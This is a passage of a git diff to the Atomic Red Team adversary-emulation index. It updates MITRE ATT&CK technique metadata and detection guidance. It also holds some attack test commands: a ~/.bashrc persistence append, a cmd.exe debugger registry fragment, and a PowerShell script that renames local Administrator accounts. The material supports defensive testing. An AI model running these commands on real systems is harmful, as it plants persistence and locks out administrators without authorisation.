linux] - T1023 Shortcut Modification [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1165 Startup Items](./T1165/T1165.md) - Atomic Test #1: Startup Items [macos] @@ -144,6 +148,7 @@ - Atomic Test #5: Clear Bash history (truncate) [linux] - Atomic Test #6: Clear history of a bunch of shells [linux, macos] - T1116 Code Signing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1223 Compiled HTML File [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1109 Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1122 Component Object Model Hijacking](./T1122/T1122.md) - Atomic Test #1: Component Object Model Hijacking [windows] @@ -181,6 +186,7 @@ - Atomic Test #11: Delete VSS - wmic [windows] - Atomic Test #12: bcdedit [windows] - Atomic Test #13: wbadmin [windows] +- T1222 File Permissions Modification [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1006 File System Logical Offsets [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1144 Gatekeeper Bypass](./T1144/T1144.md) - Atomic Test #1: Gatekeeper Bypass [macos] @@ -270,6 +276,7 @@ - T1045 Software Packing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1151 Space after Filename](./T1151/T1151.md) - Atomic Test #1: Space After Filename [macos] +- T1221 Template Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1099 Timestomp](./T1099/T1099.md) - Atomic Test #1: Set a file's access timestamp [linux, macos] - Atomic Test #2: Set a file's modification timestamp [linux, macos] @@ -280,6 +287,7 @@ - Atomic Test #3: MSXSL Bypass using remote files [windows] - T1078 Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1102 Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1220 XSL Script Processing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # privilege-escalation - [T1134 Access Token Manipulation](./T1134/T1134.md) @@ -368,6 +376,11 @@ - Atomic Test #1: Network Share Discovery [macos, linux] - Atomic Test #2: Network Share Discovery command prompt [windows] - Atomic Test #3: Network Share Discovery PowerShell [windows] +- [T1040 Network Sniffing](./T1040/T1040.md) + - Atomic Test #1: Packet Capture Linux [linux] + - Atomic Test #2: Packet Capture MacOS [macos] + - Atomic Test #3: Packet Capture Windows Command Prompt [windows] + - Atomic Test #4: Packet Capture PowerShell [windows] - [T1201 Password Policy Discovery](./T1201/T1201.md) - Atomic Test #1: Examine password complexity policy - Ubuntu [ubuntu] - Atomic Test #2: Examine password complexity policy - CentOS/RHEL 7.x [centos] @@ -459,7 +472,6 @@ - Atomic Test #2: Discover Private SSH Keys [macos, linux] - Atomic Test #3: Copy Private SSH Keys with CP [linux] - Atomic Test #4: Copy Private SSH Keys with rsync [macos, linux] -- T1091 Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1167 Securityd Memory [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1111 Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) @@ -471,6 +483,7 @@ - Atomic Test #2: CMSTP Executing UAC Bypass [windows] - [T1059 Command-Line Interface](./T1059/T1059.md) - Atomic Test #1: Command-Line Interface [macos, centos, ubuntu, linux] +- T1223 Compiled HTML File [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1196 Control Panel Items [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1173 Dynamic Data Exchange](./T1173/T1173.md) - Atomic Test #1: Execute Commands [windows] @@ -544,6 +557,7 @@ - Atomic Test #3: WMIC Process Call Create [windows] - Atomic Test #4: Psexec [windows] - Atomic Test #5: Invoke-Command [windows] +- T1220 XSL Script Processing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # lateral-movement - [T1155 AppleScript](./T1155/T1155.md) diff --git a/atomics/index.yaml b/atomics/index.yaml index 6ee8fde607..f682b75b5d 100644 --- a/atomics/index.yaml +++ b/atomics/index.yaml @@ -2,6 +2,8 @@ persistence: T1156: technique: + id: attack-pattern--01df3350-ce05-4bdf-bdf8-0a919a66d4a8 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: ".bash_profile and .bashrc" description: |- ~/.bash_profile and ~/.bashrc are executed in a user's context when a new shell opens or when a user logs in so that their environment is set correctly. ~/.bash_profile is executed for login shells and ~/.bashrc is executed for interactive non-login shells. This means that when a user logs in (via username and password) to the console (either locally or remotely via something like SSH), ~/.bash_profile is executed before the initial command prompt is returned to the user. After that, every time a new shell is opened, ~/.bashrc is executed. This allows users more fine grained control over when they want certain commands executed. @@ -9,43 +11,39 @@ persistence: Mac's Terminal.app is a little different in that it runs a login shell by default each time a new terminal window is opened, thus calling ~/.bash_profile each time instead of ~/.bashrc. These files are meant to be written to by the local user to configure their own environment; however, adversaries can also insert code into these files to gain persistence each time a user logs in or opens a new shell (Citation: amnesia malware). - - Detection: While users may customize their ~/.bashrc and ~/.bash_profile files , there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process. - - Platforms: Linux, macOS - - Data Sources: File monitoring, Process Monitoring, Process command-line parameters, Process use of network - - Permissions Required: User, Administrator - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: persistence external_references: - - url: https://attack.mitre.org/wiki/Technique/T1156 + - external_id: T1156 + url: https://attack.mitre.org/techniques/T1156 source_name: mitre-attack - external_id: T1156 - - description: Claud Xiao, Cong Zheng, Yanhui Jia. (2017, April 6). New IoT/Linux + - url: https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/ + description: Claud Xiao, Cong Zheng, Yanhui Jia. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved February 19, 2018. source_name: amnesia malware - url: https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-12-14T16:46:06.044Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS + x_mitre_version: '1.0' x_mitre_data_sources: - File monitoring - - Process Monitoring + - Process monitoring - Process command-line parameters - Process use of network + x_mitre_detection: While users may customize their ~/.bashrc and + ~/.bash_profile files , there are only certain types of commands + that typically appear in these files. Monitor for abnormal commands such as + execution of unknown programs, opening network sockets, or reaching out across + the network when user profiles are loaded during the login process. x_mitre_permissions_required: - User - Administrator - id: attack-pattern--01df3350-ce05-4bdf-bdf8-0a919a66d4a8 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Linux + - macOS type: attack-pattern + kill_chain_phases: + - phase_name: persistence + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2017-12-14T16:46:06.044Z' identifier: T1156 atomic_tests: - name: ".bash_profile and .bashrc" @@ -67,6 +65,8 @@ persistence: echo "#{script}" >> ~/.bashrc T1015: technique: + id: attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Accessibility Features description: |- Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system. @@ -75,69 +75,65 @@ persistence: Depending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods: - For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\Windows\System32\utilman.exe) may be replaced with "cmd.exe" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over Remote Desktop Protocol will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014) + For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\Windows\System32\utilman.exe) may be replaced with "cmd.exe" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014) For the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures "cmd.exe," or another program that provides backdoor access, as a "debugger" for the accessibility program (e.g., "utilman.exe"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the "debugger" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014) Other accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys) - *On-Screen Keyboard: C:\Windows\System32\osk.exe - *Magnifier: C:\Windows\System32\Magnify.exe - *Narrator: C:\Windows\System32\Narrator.exe - *Display Switcher: C:\Windows\System32\DisplaySwitch.exe - *App Switcher: C:\Windows\System32\AtBroker.exe - - Detection: Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options. - - Platforms: Windows - - Data Sources: Windows Registry, File monitoring, Process monitoring - - Effective Permissions: SYSTEM - - Permissions Required: Administrator - - Contributors: Paul Speulstra, AECOM Global Security Operations Center - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: persistence - - kill_chain_name: mitre-attack - phase_name: privilege-escalation + * On-Screen Keyboard: C:\Windows\System32\osk.exe + * Magnifier: C:\Windows\System32\Magnify.exe + * Narrator: C:\Windows\System32\Narrator.exe + * Display Switcher: C:\Windows\System32\DisplaySwitch.exe + * App Switcher: C:\Windows\System32\AtBroker.exe external_references: - - url: https://attack.mitre.org/wiki/Technique/T1015 + - external_id: T1015 + url: https://attack.mitre.org/techniques/T1015 source_name: mitre-attack - external_id: T1015 - - description: 'Glyer, C., Kazanciyan, R. (2012, August 20). THE “HIKIT” ROOTKIT: + - external_id: CAPEC-558 + url: https://capec.mitre.org/data/definitions/558.html + source_name: capec + - url: http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/ + description: Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. + Retrieved November 12, 2014. + source_name: Tilbury 2014 + - url: https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html + description: 'Glyer, C., Kazanciyan, R. (2012, August 20). THE “HIKIT” ROOTKIT: ADVANCED AND PERSISTENT ATTACK TECHNIQUES (PART 1). Retrieved June 6, 2016.' source_name: FireEye Hikit Rootkit - url: https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html - - description: Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to + - url: https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom + description: Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to the Kingdom. Retrieved July 5, 2017. source_name: DEFCON2016 Sticky Keys - url: https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom - - description: Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. - Retrieved November 12, 2014. - source_name: Tilbury 2014 - url: http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:26.946Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - Paul Speulstra, AECOM Global Security Operations Center x_mitre_data_sources: - Windows Registry - File monitoring - Process monitoring + x_mitre_detection: Changes to accessibility utility binaries or binary paths + that do not correlate with known software, patch cycles, etc., are suspicious. + Command line invocation of tools capable of modifying the Registry for associated + keys are also suspicious. Utility arguments and the binaries themselves should + be monitored for changes. Monitor Registry keys within HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows + NT\CurrentVersion\Image File Execution Options. x_mitre_effective_permissions: - SYSTEM x_mitre_permissions_required: - Administrator - x_mitre_contributors: - - Paul Speulstra, AECOM Global Security Operations Center - id: attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: persistence + kill_chain_name: mitre-attack + - phase_name: privilege-escalation + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:26.946Z' identifier: T1015 atomic_tests: - name: Attaches Command Prompt As Debugger To Process - osk @@ -266,8 +262,93 @@ persistence: "C:\windows\system32\cmd.exe" /f ' + T1098: + technique: + id: attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + name: Account Manipulation + description: Account manipulation may aid adversaries in maintaining access + to credentials and certain permission levels within an environment. Manipulation + could consist of modifying permissions, modifying credentials, adding or changing + permission groups, modifying account settings, or modifying how authentication + is performed. These actions could also include account activity designed to + subvert security policies, such as performing iterative password updates to + subvert password duration policies and preserve the life of compromised credentials. + In order to create or manipulate accounts, the adversary must already have + sufficient permissions on systems or the domain. + external_references: + - external_id: T1098 + url: https://attack.mitre.org/techniques/T1098 + source_name: mitre-attack + - url: https://docs.microsoft.com/windows/device-security/auditing/event-4738 + description: 'Lich, B., Miroshnikov, A. (2017, April 5). 4738(S): A user account + was changed. Retrieved June 30, 2017.' + source_name: Microsoft User Modified Event + - url: https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM + description: Warren, J. (2017, July 11). Manipulating User Passwords with + Mimikatz. Retrieved December 4, 2017. + source_name: InsiderThreat ChangeNTLM July 2017 + - url: https://github.com/gentilkiwi/mimikatz/issues/92 + description: 'Warren, J. (2017, June 22). lsadump::changentlm and lsadump::setntlm + work, but generate Windows events #92. Retrieved December 4, 2017.' + source_name: GitHub Mimikatz Issue 92 June 2017 + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + x_mitre_contributors: + - Tim MalcomVetter + x_mitre_data_sources: + - Authentication logs + - API monitoring + - Windows event logs + - Packet capture + x_mitre_detection: |- + Collect events that correlate with changes to account objects on systems and the domain, such as event ID 4738. (Citation: Microsoft User Modified Event) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ (Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password. (Citation: GitHub Mimikatz Issue 92 June 2017) + + Use of credentials may also occur at unusual times or to unusual systems or services and may correlate with other suspicious activity. + x_mitre_permissions_required: + - Administrator + x_mitre_platforms: + - Windows + type: attack-pattern + kill_chain_phases: + - phase_name: credential-access + kill_chain_name: mitre-attack + - phase_name: persistence + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:31:12.196Z' + identifier: T1098 + atomic_tests: + - name: Admin Account Manipulate + description: 'Manipulate Admin Account Name + +' + supported_platforms: + - windows + executor: + name: powershell + command: | + $x = Get-Random -Minimum 2 -Maximum 9999 + $y = Get-Random -Minimum 2 -Maximum 9999 + $z = Get-Random -Minimum 2 -Maximum 9999 + $w = Get-Random -Minimum 2 -Maximum 9999 + Write-Host HaHaHa_$x$y$z$w + + $hostname = (Get-CIMInstance CIM_ComputerSystem).Name + + $fmm = Get-CimInstance -ClassName win32_group -Filter "name = 'Administrators'" | Get-CimAssociatedInstance -Association win32_groupuser | Select Name + + foreach($member in $fmm) { + if($member -like "*Administrator*") { + Rename-LocalUser -Name $member.Name -NewName "HaHaHa_$x$y$z$w" + Write-Host "Successfully Renamed Administrator Account on" $hostname + } + } '': technique: + id: attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Winlogon Helper DLL description: "Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. @@ -278,135 +359,119 @@ persistence: Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable - to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n* Winlogon\\Notify + to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features - to repeatedly execute malicious code and establish Persistence.\n\nDetection: - Monitor for changes to Registry entries associated with Winlogon that do not - correlate with known software, patch cycles, etc. Tools such as Sysinternals - Autoruns may also be used to detect system changes that could be attempts - at persistence, including listing current Winlogon helper values. (Citation: - TechNet Autoruns) New DLLs written to System32 that do not correlate with - known good software or patching may also be suspicious.\n\nLook for abnormal - process behavior that may be due to a process loading a malicious DLL. Data - and events should not be viewed in isolation, but as part of a chain of behavior - that could lead to other activities, such as network connections made for - Command and Control, learning details about the environment through Discovery, - and Lateral Movement.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, - File monitoring, Process monitoring\n\nPermissions Required: Administrator, - SYSTEM\n\nContributors: Praetorian" - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: persistence + to repeatedly execute malicious code and establish Persistence." external_references: - - url: https://attack.mitre.org/wiki/Technique/T1004 + - external_id: T1004 + url: https://attack.mitre.org/techniques/T1004 source_name: mitre-attack - external_id: T1004 - - description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. + - external_id: CAPEC-579 + url: https://capec.mitre.org/data/definitions/579.html + source_name: capec + - url: https://technet.microsoft.com/en-us/sysinternals/bb963902 + description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. source_name: TechNet Autoruns - url: https://technet.microsoft.com/en-us/sysinternals/bb963902 - - description: 'Langendorf, S. (2013, September 24). Windows Registry Persistence, + - url: https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order + description: 'Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.' source_name: Cylance Reg Persistence Sept 2013 - url: https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:20.148Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - Praetorian x_mitre_data_sources: - Windows Registry - File monitoring - Process monitoring + x_mitre_detection: |- + Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns) New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious. + + Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. x_mitre_permissions_required: - Administrator - SYSTEM - x_mitre_contributors: - - Praetorian - id: attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: persistence + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:20.148Z' atomic_tests: [] T1103: technique: + id: attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: AppInit DLLs - description: "Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs - value in the Registry keys HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows - NT\\CurrentVersion\\Windows or HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows - NT\\CurrentVersion\\Windows are loaded by user32.dll into every process - that loads user32.dll. In practice this is nearly every program, since user32.dll - is a very common library. (Citation: Engame Process Injection July 2017) Similar - to Process Injection, these values can be abused to obtain persistence and - privilege escalation by causing a malicious DLL to be loaded and run in the - context of separate processes on the computer. (Citation: AppInit Registry)\n\nThe - AppInit DLL functionality is disabled in Windows 8 and later versions when - secure boot is enabled. (Citation: AppInit Secure Boot)\n\nDetection: Monitor - DLL loads by processes that load user32.dll and look for DLLs that are not - recognized or not normally loaded into a process. Monitor the AppInit_DLLs - Registry values for modifications that do not correlate with known software, - patch cycles, etc. Monitor and analyze application programming interface (API) - calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. - (Citation: Engame Process Injection July 2017) Tools such as Sysinternals - Autoruns may also be used to detect system changes that could be attempts - at persistence, including listing current AppInit DLLs. (Citation: TechNet - Autoruns) \n\nLook for abnormal process behavior that may be due to a process - loading a malicious DLL. Data and events should not be viewed in isolation, - but as part of a chain of behavior that could lead to other activities, such - as making network connections for Command and Control, learning details about - the environment through Discovery, and conducting Lateral Movement.\n\nPlatforms: - Windows\n\nData Sources: Loaded DLLs, Process monitoring, Windows Registry\n\nEffective - Permissions: Administrator, SYSTEM\n\nPermissions Required: Administrator\n\nSystem - Requirements: Secure boot disabled on systems running Windows 8 and later" - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: persistence - - kill_chain_name: mitre-attack - phase_name: privilege-escalation + description: |- + Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows or HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Endgame Process Injection July 2017) Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) + + The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot) external_references: - - url: https://attack.mitre.org/wiki/Technique/T1103 + - external_id: T1103 + url: https://attack.mitre.org/techniques/T1103 source_name: mitre-attack - external_id: T1103 - - description: Microsoft. (2006, October). Working with the AppInit_DLLs registry + - url: https://support.microsoft.com/en-us/kb/197571 + description: Microsoft. (2006, October). Working with the AppInit_DLLs registry value. Retrieved July 15, 2015. source_name: AppInit Registry - url: https://support.microsoft.com/en-us/kb/197571 - - description: Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July + - url: https://msdn.microsoft.com/en-us/library/dn280412 + description: Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July 15, 2015. source_name: AppInit Secure Boot - url: https://msdn.microsoft.com/en-us/library/dn280412 - - description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. + - url: https://technet.microsoft.com/en-us/sysinternals/bb963902 + description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. source_name: TechNet Autoruns - url: https://technet.microsoft.com/en-us/sysinternals/bb963902 - - description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: + - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process + description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.' - source_name: Engame Process Injection July 2017 - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process + source_name: Endgame Process Injection July 2017 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:31:15.409Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - Loaded DLLs - Process monitoring - Windows Registry + x_mitre_detection: "Monitor DLL loads by processes that load user32.dll and + look for DLLs that are not recognized or not normally loaded into a process. + Monitor the AppInit_DLLs Registry values for modifications that do not correlate + with known software, patch cycles, etc. Monitor and analyze application programming + interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx + and RegSetValueEx. (Citation: Endgame Process Injection July 2017) Tools such + as Sysinternals Autoruns may also be used to detect system changes that could + be attempts at persistence, including listing current AppInit DLLs. (Citation: + TechNet Autoruns) \n\nLook for abnormal process behavior that may be due to + a process loading a malicious DLL. Data and events should not be viewed in + isolation, but as part of a chain of behavior that could lead to other activities, + such as making network connections for Command and Control, learning details + about the environment through Discovery, and conducting Lateral Movement." x_mitre_effective_permissions: - Administrator - SYSTEM x_mitre_permissions_required: - Administrator + x_mitre_platforms: + - Windows x_mitre_system_requirements: - Secure boot disabled on systems running Windows 8 and later - id: attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41 - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: persistence + kill_chain_name: mitre-attack + - phase_name: privilege-escalation + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:31:15.409Z' identifier: T1103 atomic_tests: - name: Install AppInit Shim @@ -428,9 +493,11 @@ persistence: ' T1138: technique: + id: attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Application Shimming description: |- - The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow backward compatibility of programs as Windows updates and changes its code. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Engame Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses Hooking to redirect the code as necessary in order to communicate with the OS. A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in: + The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Endgame Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses [Hooking](https://attack.mitre.org/techniques/T1179) to redirect the code as necessary in order to communicate with the OS. A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in: * %WINDIR%\AppPatch\sysmain.sdb * hklm\software\microsoft\windows nt\currentversion\appcompatflags\installedsdb @@ -440,58 +507,51 @@ persistence: * %WINDIR%\AppPatch\custom & %WINDIR%\AppPatch\AppPatch64\Custom * hklm\software\microsoft\windows nt\currentversion\appcompatflags\custom - To keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to Bypass User Account Control (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to Hooking, utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. - - Detection: There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim): - - * Shim-Process-Scanner - checks memory of every running process for any Shim flags - * Shim-Detector-Lite - detects installation of custom shim databases - * Shim-Guard - monitors registry for any shim installations - * ShimScanner - forensic tool to find active shims in memory - * ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot) - - Monitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse. - - Platforms: Windows - - Data Sources: Loaded DLLs, System calls, Windows Registry, Process Monitoring, Process command-line parameters - - Permissions Required: Administrator - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: persistence - - kill_chain_name: mitre-attack - phase_name: privilege-escalation + To keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to [Hooking](https://attack.mitre.org/techniques/T1179), utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. external_references: - - url: https://attack.mitre.org/wiki/Technique/T1138 + - external_id: T1138 + url: https://attack.mitre.org/techniques/T1138 source_name: mitre-attack - external_id: T1138 - - description: Pierce, Sean. (2015, November). Defending Against Malicious Application + - url: https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf + description: Pierce, Sean. (2015, November). Defending Against Malicious Application Compatibility Shims. Retrieved June 22, 2017. source_name: 